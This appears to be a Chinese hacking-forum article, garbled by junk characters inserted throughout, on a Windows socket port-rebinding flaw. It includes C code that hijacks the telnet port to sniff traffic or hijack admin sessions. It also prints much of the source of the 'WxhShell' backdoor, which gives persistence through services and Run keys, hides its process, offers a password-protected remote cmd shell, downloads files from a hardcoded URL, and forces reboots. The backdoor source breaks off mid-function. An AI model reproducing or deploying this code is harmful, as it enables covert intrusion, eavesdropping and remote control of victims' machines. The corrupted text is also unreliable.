在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:s7m4!EF s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
c_4[e5z r/u A.Aou^ saddr.sin_family = AF_INET;
y#3j`. $3p fR(d saddr.sin_addr.s_addr = htonl(INADDR_ANY);
r2,.abo G6$kv2(k`@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
<4HDZ{"M $}!p+$ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+nJgl8'^y \nPEyw,U 这意味着什么?意味着可以进行如下的攻击:
J1C3&t}
~T1XLu 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
NTYg[VTr ewctkI$,5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
\1^^\G>H5 XovRg, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3h$6t7=C ]~'5\58sP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
tMf}
LG9+y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
PHZ0P7 ;DFSzbF` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
>7jbgHB ,$s8GAmq 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
g?z/2zKR X= 5xh #include
u)}$~E> #include
UC]\yUK1J #include
0IBhb(X #include
Lr$go6s DWORD WINAPI ClientThread(LPVOID lpParam);
dfKF%27 int main()
,!#*GZ.ix {
|$8~?7Jv WORD wVersionRequested;
7z JRJ*NB DWORD ret;
(l^3Z3zf& WSADATA wsaData;
<m)$K BOOL val;
%5M/s'O?i SOCKADDR_IN saddr;
B+\3-q SOCKADDR_IN scaddr;
[>8}J" int err;
RJ 8+h SOCKET s;
<D<4BnZ( SOCKET sc;
,(d)Qg int caddsize;
Wh+{mvu# HANDLE mt;
I&}L*Z?` DWORD tid;
e!N:,`R
5 wVersionRequested = MAKEWORD( 2, 2 );
BTGvN% err = WSAStartup( wVersionRequested, &wsaData );
RYQ<Zr$! if ( err != 0 ) {
Dz>^IMsY printf("error!WSAStartup failed!\n");
l{I6&^!KS return -1;
Cl;oi}L }
g!@<n1 L saddr.sin_family = AF_INET;
q rJ`1 n.'8A(,r3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
O#:$^#j& \F1_lq;K saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
C'\-
@/ saddr.sin_port = htons(23);
k1w_[w[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6&
e3Nt {
i2E)P x printf("error!socket failed!\n");
ehzM)uK return -1;
"c3Grfoz }
0b+Wc43}K val = TRUE;
Jj!vh{ //SO_REUSEADDR选项就是可以实现端口重绑定的
I4/8 _)b^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
IHam 4$~- {
QdT}wkX printf("error!setsockopt failed!\n");
z>58dA@f return -1;
N60rgSzI }
@e(o129 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
+giyX7BPJ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
{@6=Q 6L //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
G`SUxhC k 0h#lJS* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
_ky,;9G] {
5]KW^sL ret=GetLastError();
|^: cG4e printf("error!bind failed!\n");
B~ ]k#Ot) return -1;
Aydm2!l1 }
)Xk0VDNp$/ listen(s,2);
7C,&*Ax,9 while(1)
O@u?h9?cf> {
]op}y0 caddsize = sizeof(scaddr);
jN{Xfjmfv //接受连接请求
rID#`:Hl-| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
EN$2,qf if(sc!=INVALID_SOCKET)
K-bD<X {
*W.C7= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<;vbsksZeH if(mt==NULL)
>zw.GwN| {
q*U*Fu+ printf("Thread Creat Failed!\n");
$Z.7zH break;
@Z*W }
Dd'm U }
>.Chl$)< CloseHandle(mt);
E(O74/2c8 }
oe%}?u closesocket(s);
L^E[J` WSACleanup();
Z,sv9{4r return 0;
-}nxJH ) }
VCY\be DWORD WINAPI ClientThread(LPVOID lpParam)
13 =A {
[$qyF|/K`n SOCKET ss = (SOCKET)lpParam;
v25R_""~ SOCKET sc;
4" Cb/y3 unsigned char buf[4096];
;nep5!s;< SOCKADDR_IN saddr;
vMA]j>> long num;
n!YKz"$ DWORD val;
hBS.a6u1'd DWORD ret;
'Q|M'5' //如果是隐藏端口应用的话,可以在此处加一些判断
=d".|k //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0"kbrv2y saddr.sin_family = AF_INET;
XRcq hv saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
5Sm}nH saddr.sin_port = htons(23);
a][f if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
G9Y#kBr {
.X@FXx& printf("error!socket failed!\n");
)Ub_@)X3%l return -1;
kh
{p%<r{ }
4]yOF_8h val = 100;
_"E%xM*r if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-&NN51-d\j {
wG~`[>y ( ret = GetLastError();
QN
#U)wn: return -1;
1Yq?X: }
tz5e"+Tz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
d6'{rje( {
FKIw!m ~ ret = GetLastError();
a6D &/8 return -1;
kO,zZF& }
5"CZh.J if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
igIRSN}h {
3N dq> printf("error!socket connect failed!\n");
8cU}I4| closesocket(sc);
k,85Y$`' closesocket(ss);
GC?ON0g5s return -1;
rm5bkJcg~ }
C9~52+S while(1)
",^Mxm{ {
kqM045W7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s"0Y3x3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
!F1M(zFD //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
R@/"B8H num = recv(ss,buf,4096,0);
5 xppKt if(num>0)
d9B]fi} send(sc,buf,num,0);
I/a/)No else if(num==0)
8D>n1b(H break;
j"}*T num = recv(sc,buf,4096,0);
aNScF if(num>0)
ZG>PQA send(ss,buf,num,0);
V,mw[Hw else if(num==0)
lhYe;b( break;
IAw{P08+ }
kddZZA3` closesocket(ss);
7Nk!1s: closesocket(sc);
}RzWJ@QD< return 0 ;
xC{qV, }
uehDIl0\[b I/&%]"[^u **$LR<L ==========================================================
Gcdd3W`O "/3 db[ 下边附上一个代码,,WXhSHELL
vK9E ePr&!Tz# ==========================================================
C"!gZ8*\!9 o9JMH.G #include "stdafx.h"
pk^K:Xs} CS@FYO #include <stdio.h>
{_`^R>"\&w #include <string.h>
8dO! #include <windows.h>
=-8bsV/l #include <winsock2.h>
YpH&<$x: #include <winsvc.h>
S'4(0j #include <urlmon.h>
A Y*e@nk\ UaWl6 Y&Vu #pragma comment (lib, "Ws2_32.lib")
"Q!(52_@J #pragma comment (lib, "urlmon.lib")
|2RC# ]/-Y ,eTUhK #define MAX_USER 100 // 最大客户端连接数
;%<,IdhN #define BUF_SOCK 200 // sock buffer
6kNrYom #define KEY_BUFF 255 // 输入 buffer
=<{np )+[ gd/<C. #define REBOOT 0 // 重启
P0W*C6&71| #define SHUTDOWN 1 // 关机
iH/6M d{SG
Cr 9d #define DEF_PORT 5000 // 监听端口
:+qF8t[L l5zS #define REG_LEN 16 // 注册表键长度
*A"~m!= #define SVC_LEN 80 // NT服务名长度
;5zz<;Zy x c/}#>ED // 从dll定义API
*VFf.aPwYi typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
g+pml*LJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_CmOd-y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
swK-/$# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
F({HP)9b Fh`~`eog // wxhshell配置信息
/W>iJfx struct WSCFG {
$oj:e?8N int ws_port; // 监听端口
PmKeF} char ws_passstr[REG_LEN]; // 口令
%>~sJ0 int ws_autoins; // 安装标记, 1=yes 0=no
4kBaB char ws_regname[REG_LEN]; // 注册表键名
2 lj'"nm char ws_svcname[REG_LEN]; // 服务名
MRb-H1+Xf char ws_svcdisp[SVC_LEN]; // 服务显示名
OR%'K2C6S char ws_svcdesc[SVC_LEN]; // 服务描述信息
U%<koD[, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
d/[;
`ZD+ int ws_downexe; // 下载执行标记, 1=yes 0=no
@6wFst\t char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
yzerOL char ws_filenam[SVC_LEN]; // 下载后保存的文件名
_a6[{_Pc H@q?v+2 };
` :o4'CG t5y;CxL // default Wxhshell configuration
RloK,bg struct WSCFG wscfg={DEF_PORT,
,1 [q^-9 "xuhuanlingzhe",
%p2Sh)@M 1,
XZ^^%*ew "Wxhshell",
L3@82yPo! "Wxhshell",
fh](K'P#^ "WxhShell Service",
f"%{%M$K "Wrsky Windows CmdShell Service",
U)E(`{p] "Please Input Your Password: ",
sg$rzT-S4 1,
BW 4%l "
http://www.wrsky.com/wxhshell.exe",
.(^ ,z& "Wxhshell.exe"
mj9 <%P };
-'t)=YJ ?QFpv#4 // 消息定义模块
cc~O&?)i char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ioYGZ%RG# char *msg_ws_prompt="\n\r? for help\n\r#>";
P} 0%-JC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
+RyjF~[e char *msg_ws_ext="\n\rExit.";
?}kG`q char *msg_ws_end="\n\rQuit.";
>pp5;h8! char *msg_ws_boot="\n\rReboot...";
C~o7X^[R\ char *msg_ws_poff="\n\rShutdown...";
j)<IRD^ char *msg_ws_down="\n\rSave to ";
AlAY iUw{ 9}PhN<Gd char *msg_ws_err="\n\rErr!";
i*/Yz*< char *msg_ws_ok="\n\rOK!";
D/vOs[X
o, 7?GIS ' char ExeFile[MAX_PATH];
8B\2Zfe int nUser = 0;
^,/RO5 HANDLE handles[MAX_USER];
5hQE4/hH int OsIsNt;
TFkZp e; B{'( L| SERVICE_STATUS serviceStatus;
g^}8:,F_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
{<R2UI5m5 8,?h~prc // 函数声明
{q`jDDM int Install(void);
q|!-0B@ int Uninstall(void);
=;2%a( int DownloadFile(char *sURL, SOCKET wsh);
MP_ ~<Q int Boot(int flag);
;C3US)j void HideProc(void);
VGpWg rmHk int GetOsVer(void);
O(D~_O. int Wxhshell(SOCKET wsl);
2O.i\cH void TalkWithClient(void *cs);
lT&eJO~?5 int CmdShell(SOCKET sock);
uRZ ZxZ int StartFromService(void);
_kU:Z int StartWxhshell(LPSTR lpCmdLine);
o<COm9)i 0K`#>}W#X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
y5?RVlKJ VOID WINAPI NTServiceHandler( DWORD fdwControl );
Ji>o! n%-R[vW // 数据结构和表定义
W4pL ,(S SERVICE_TABLE_ENTRY DispatchTable[] =
9~]~#Uj {
mlJ!:WG {wscfg.ws_svcname, NTServiceMain},
5|o6v1bM {NULL, NULL}
wr$M$i: };
4dO~C eYN5;bx)W // 自我安装
|wiqGzAr{ int Install(void)
$$Oey)* {
aMWmLpv4' char svExeFile[MAX_PATH];
zO ).T
M_ HKEY key;
nD`w/0hT< strcpy(svExeFile,ExeFile);
9Iwe2lu G6/p1xy>o: // 如果是win9x系统,修改注册表设为自启动
|iE50, if(!OsIsNt) {
dQV;3^iUY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YQHw1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}<@b=_>S RegCloseKey(key);
WD]pU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
oSyyd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o0ifp=V
y RegCloseKey(key);
W6?pswQ return 0;
v"b+$* }
}1Gv)l7 }
Cd,jDPrw }
FbS|~Rp~ else {
+
+M$#Er& 'ig&$fz b // 如果是NT以上系统,安装为系统服务
#_6I w`0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Q=AavKn# if (schSCManager!=0)
:S<f?*
}: {
gl\\+VyU SC_HANDLE schService = CreateService
/?@3.3sl_ (
iBF|&h(\ schSCManager,
%?}33yV
wscfg.ws_svcname,
i~I%D%; wscfg.ws_svcdisp,
2NC.Z; SERVICE_ALL_ACCESS,
bCo7*<I4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
fZ0M%f SERVICE_AUTO_START,
(.D~0a JU SERVICE_ERROR_NORMAL,
Si8pzd svExeFile,
}uJu>'1[G NULL,
*5%d XixN NULL,
=Je[c,&j$? NULL,
tnH2sHby NULL,
Al}6q{E9+8 NULL
`UD/}j@ );
/|tJ6T1LrB if (schService!=0)
AK'[c+2[ {
Fq|Ni$ CloseServiceHandle(schService);
B:'J`M"N CloseServiceHandle(schSCManager);
41`n1:-] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
R=gb' strcat(svExeFile,wscfg.ws_svcname);
lR )67a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.E`\MtA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|bTPtrT8 RegCloseKey(key);
G`cHCP_n return 0;
ZA0mz 65 }
vHyC; 4' }
zHA!%>%' CloseServiceHandle(schSCManager);
R3x3]]D }
qTdh eX/ }
TE3lK(f d,+Hd2o^X return 1;
B2>H_dmQ }
;LcZ`1 0z1ifg& // 自我卸载
U'H$`$Ov int Uninstall(void)
U{2BVqM {
J!c)s!`w HKEY key;
$xzAv{ #.rdQ,)< if(!OsIsNt) {
b*a#<K$T_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7m4aoK RegDeleteValue(key,wscfg.ws_regname);
^q{9 RegCloseKey(key);
nyQ&f'< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wPQH(~k: RegDeleteValue(key,wscfg.ws_regname);
]{3)^axW; RegCloseKey(key);
.~~nUu+M return 0;
8&GBV_`I }
4{y)TZ }
\UPjf]& }
_Gn2o2T else {
Y~c|hfL J\+0[~~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&XIt5<$~R if (schSCManager!=0)
[w0QZyUn {
|XQIfW]A SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
'GNK "XA^ if (schService!=0)
+ieY:H[ {
@:+8?qcP if(DeleteService(schService)!=0) {
6n,i0W CloseServiceHandle(schService);
|:nn>E}ZA/ CloseServiceHandle(schSCManager);
cz
>V8 return 0;
/)YNs7gR }
8<X#f
! CloseServiceHandle(schService);
B,?T% }
%KsEB*'" CloseServiceHandle(schSCManager);
m8A#~i . }
6 eLR2 }
\:b3~%Fz >" )Tf6zw& return 1;
z>LUH }
/Lfm&; kjIAep0rT // 从指定url下载文件
^yW L,$ int DownloadFile(char *sURL, SOCKET wsh)
gZN8!#h}B {
9B{k , 1
HRESULT hr;
i+A3~w5c char seps[]= "/";
~-ia+A6GIV char *token;
]^yFaTfS char *file;
8[a=OP char myURL[MAX_PATH];
qB5j;@r char myFILE[MAX_PATH];
gqZ'$7So y&6FybIz strcpy(myURL,sURL);
`95r0t0hh\ token=strtok(myURL,seps);
abuh`H# while(token!=NULL)
p*< 0"0 {
ASKf'\,dV file=token;
`.E[}W token=strtok(NULL,seps);
K*%9)hq }
PY{
G [ WA5 kg\ GetCurrentDirectory(MAX_PATH,myFILE);
/NLui@|R strcat(myFILE, "\\");
h{CL{>d strcat(myFILE, file);
=#;3Q~:Jl^ send(wsh,myFILE,strlen(myFILE),0);
\K5DOM "# send(wsh,"...",3,0);
nL5cK: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
h?AS{`.1 if(hr==S_OK)
DVG(Vw return 0;
N:S/SZI else
|z9*GY6RU return 1;
M\o9I ZT'`hK_up }
M||+qd W! *{YlN}vA // 系统电源模块
Bc(Y(X$PK int Boot(int flag)
0]'7_vDs| {
\.0^n3y HANDLE hToken;
VU#`oJ:{ TOKEN_PRIVILEGES tkp;
3-[q4R 7r7YNn/? if(OsIsNt) {
'H3^e} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@ju@WY45$^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
rNrxaRQ tkp.PrivilegeCount = 1;
)P%ZA)l%_o tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
lG9bLiFY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
eX?OYDDC0j if(flag==REBOOT) {
Tl%`P_J)-S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
EMh7z7}Rr return 0;
HguT"%iv }
_>5(iDW0 else {
Vp#JS3Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
E-4b[xNj*+ return 0;
69PE9zz }
|N4.u
_hM }
U\ ig: else {
-?H#LUk if(flag==REBOOT) {
)SaGH3~*C if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
F0pir(n- return 0;
hcgMZT!<5 }
9%k2'iV7 else {
zpzK>DH( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Cl5uS%g return 0;
zvvhFN2s }
$ZUdT }
18|m)(W '<jyw return 1;
u#Pa7_zBj] }
srr
:!5 7TgOK // win9x进程隐藏模块
\MsTB|Z void HideProc(void)
Umz KY {
<5-[{Q/2z %<)2/|lCd HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
<C_jF if ( hKernel != NULL )
w;;BSJ]+[ {
c>,'Y)8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@GPCwE1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
o@r7
n>G
FreeLibrary(hKernel);
cpe+XvBuK }
ZXu>,Jy e|NG"< return;
L(/e&J@>< }
/1Qr#OJ(] &VhroHO // 获取操作系统版本
z#8~iF1 int GetOsVer(void)
'OE&/
C[ {
."TxX.&HE OSVERSIONINFO winfo;
J &o|QG winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
cW~}:;D4 GetVersionEx(&winfo);
}'5MK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
dWM'fg return 1;
I.WvLLK2 else
XQrF4l return 0;
4{}FL }
9?A)n4b; ko5 @qNq // 客户端句柄模块
#Z}Rfk(~ int Wxhshell(SOCKET wsl)
Bz_^~b7 {
gD0eFTN SOCKET wsh;
OtY`@\hy struct sockaddr_in client;
n#/_Nz DWORD myID;
IrR7"`.i V8e>l[tH while(nUser<MAX_USER)
P]<4R:yb {
<m!h&_eg int nSize=sizeof(client);
tf=6\p wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Z_PNI#h* if(wsh==INVALID_SOCKET) return 1;
bADnW4N`6; 8J*"%C$qe handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
TIx|L if(handles[nUser]==0)
@+;$jRwq closesocket(wsh);
@v$Y7mw3D else
bo<~jb{ nUser++;
q?,).x
nN }
kJWn<5%ayg WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
b[__1E9v'
%&$Tz1" return 0;
n+!
AnKq }
OGBHos LZ\q37UV // 关闭 socket
}xKP~h'F void CloseIt(SOCKET wsh)
_geWE0
E {
#m lS}~n closesocket(wsh);
Hh%I0# nUser--;
Jx_cf9{ ExitThread(0);
9lTv
}
,K>I%_!1 y6@0O%TDN // 客户端请求句柄
Q0$8j-1I void TalkWithClient(void *cs)
LU+3{O5y {
t^VwR=i Bm.afsM; SOCKET wsh=(SOCKET)cs;
F^l[GdUosK char pwd[SVC_LEN];
5VRYO"D: char cmd[KEY_BUFF];
/xG*,YL/q char chr[1];
lNNv|YiL int i,j;
sD<a+Lw}x ZjT,pOSyb while (nUser < MAX_USER) {
[]x#iOnC& oYHj~t if(wscfg.ws_passstr) {
|o,YCzy|5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
SD#]$v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
M])ZK //ZeroMemory(pwd,KEY_BUFF);
)W|w C# i=0;
-T!f,g3vW while(i<SVC_LEN) {
~"dA~[r
L 1pQn8[sc@ // 设置超时
Ulhk$CPA fd_set FdRead;
}L
&^xe struct timeval TimeOut;
X#d~zk[r2 FD_ZERO(&FdRead);
J2d.f}- FD_SET(wsh,&FdRead);
s.EI`*xylY TimeOut.tv_sec=8;
eD-#b| TimeOut.tv_usec=0;
R|JC1f8P5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`id9j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
mCRt8rY; X"MB|Ny if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
fz;iOjr>
pwd
=chr[0]; vVj
if(chr[0]==0xd || chr[0]==0xa) { BW-`t-,E;
pwd=0; tv>>l%
break; CF&NFSti^
} |\w=u6jX
i++; ^*S ,xP
} wU8Mt#D!
ADZ};:]
// 如果是非法用户,关闭 socket ~a%Z;Aj
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BNz 5lrfq
} +nUy,S?43
m[i+knYX
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YZP(tn
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8'n/?.7cX
NIh:DbE
while(1) { hZ[E7=NTQ^
-7m:91x
ZeroMemory(cmd,KEY_BUFF); n-5W*zk1
'AzDP;6qFI
// 自动支持客户端 telnet标准 Y_}mYvJW
j=0; uB |Ss
while(j<KEY_BUFF) { m_hN*v
Py
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $`APHjijN
cmd[j]=chr[0]; v. %R}Pa
if(chr[0]==0xa || chr[0]==0xd) { t
c[n&X
cmd[j]=0; f @8mS
break; og4UhP^UET
} ?MXejEC
j++; >Wh}f3C
} U QE qX
ilK-?@u+
// 下载文件 ~+bv6qxg]\
if(strstr(cmd,"http://")) { {zQS$VhXr
send(wsh,msg_ws_down,strlen(msg_ws_down),0); &-s'BT[PGq
if(DownloadFile(cmd,wsh)) ?P4w]a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pa(^}n|
else `IOs-%s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "@evXql3`
} MzPzqm<
else { -DxL 0:E
-<Hu!V`+
switch(cmd[0]) { C(S'#cm
?in|qevL
// 帮助 %cCs?ic
case '?': { =PUt&`1.a
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jlp:lX
break; ~UyV<
} ktK_e
// 安装 ~CtL9m3tO
case 'i': { <$6QDfa#
if(Install()) p7);uF^O%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~CVe yk< (
else nM\eDNK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,\X@~j
break; >a"Z\\dF
} RbCPmiZcH
// 卸载 A;5n:Sd
case 'r': { ,B08i
o-
if(Uninstall()) SaC d0. h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _tSAI
else 76>7=#m0u'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [v$0[IuY,
break; #BJG9DFP4`
} p>vn7;s2#
// 显示 wxhshell 所在路径 T_X6Ulp
case 'p': { mK[)mC
_8
char svExeFile[MAX_PATH]; Qhs/E`k4
strcpy(svExeFile,"\n\r"); I6j$X 6u
strcat(svExeFile,ExeFile); ]V-W~r=
send(wsh,svExeFile,strlen(svExeFile),0); ^F2b
hXE
break; 3k|oK'l
} cUqke+!
// 重启 H_EB1"C;\
case 'b': { kxp);
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?9 ! Z<H
if(Boot(REBOOT)) \
W?R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v.Q(v\KV5
else { ZeUvyIG
closesocket(wsh); i O/K nH
ExitThread(0); 4Y,R-+f
} _2k]3z?
break; 1^_U;O:I
} iv?gZg
// 关机 k=4N(i/s
case 'd': { I&MY{f
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a\IP12F?
if(Boot(SHUTDOWN)) * 5
|)-E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u)3 $~m~
else { &=<x#h-
closesocket(wsh); g8Q5m=O*
ExitThread(0); 8~9030>Q
} @Ukr
break; <EPj$::
} F6o_b4l
// 获取shell uHH/rMV
case 's': { !FA# K8
CmdShell(wsh); KBXK0zWh7
closesocket(wsh); TT50(_8
ExitThread(0); *.~6S3}
break; cC o`~7rE
} +j(d| L\
// 退出 j=*l$RG
case 'x': { p/JL9@:'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =8r 0 (c
CloseIt(wsh);
%ObLWH'
break; AS E91T~
} P&j(,7
// 离开 }"|"Q7H
case 'q': { psnTFe
send(wsh,msg_ws_end,strlen(msg_ws_end),0); K`/`|1
closesocket(wsh); $&$w Y/F
WSACleanup(); |}{B1A
exit(1); `W dD8E
break; 5k6mmiaKk
} GuGOePV
} 28/ ADZ
} !(n4|Wd
aFe`_cnG
// 提示信息 Ypeiy`.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2<`.#zIds
} uch>AuF:
} hq:&wN7Q
B3H|+
return; ^qg?6S4
} !/^-;o7
!L;\cl
// shell模块句柄 a-"k/P#
int CmdShell(SOCKET sock) 4Sm]>%F':
{ 6`0mta Q
STARTUPINFO si; PzV@umC1#f
ZeroMemory(&si,sizeof(si)); Mn$]I) $
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #'-Sh7ycW
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L lw&& K
PROCESS_INFORMATION ProcessInfo; %/c+`Wd/l$
char cmdline[]="cmd"; yfjK2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &K43x&mFF
return 0; uQ=^~K :Z~
} )J_\tv
26dUA~|KJ
// 自身启动模式 S@}1t4Ls:
int StartFromService(void) "]m+z)lWd
{ Vo9F
typedef struct dWXstb:[
{ cXR1grz
DWORD ExitStatus; (]RM6i7
DWORD PebBaseAddress; SG?Nsp^%`B
DWORD AffinityMask; 7}GK%H-u
DWORD BasePriority; /^$UhX9v
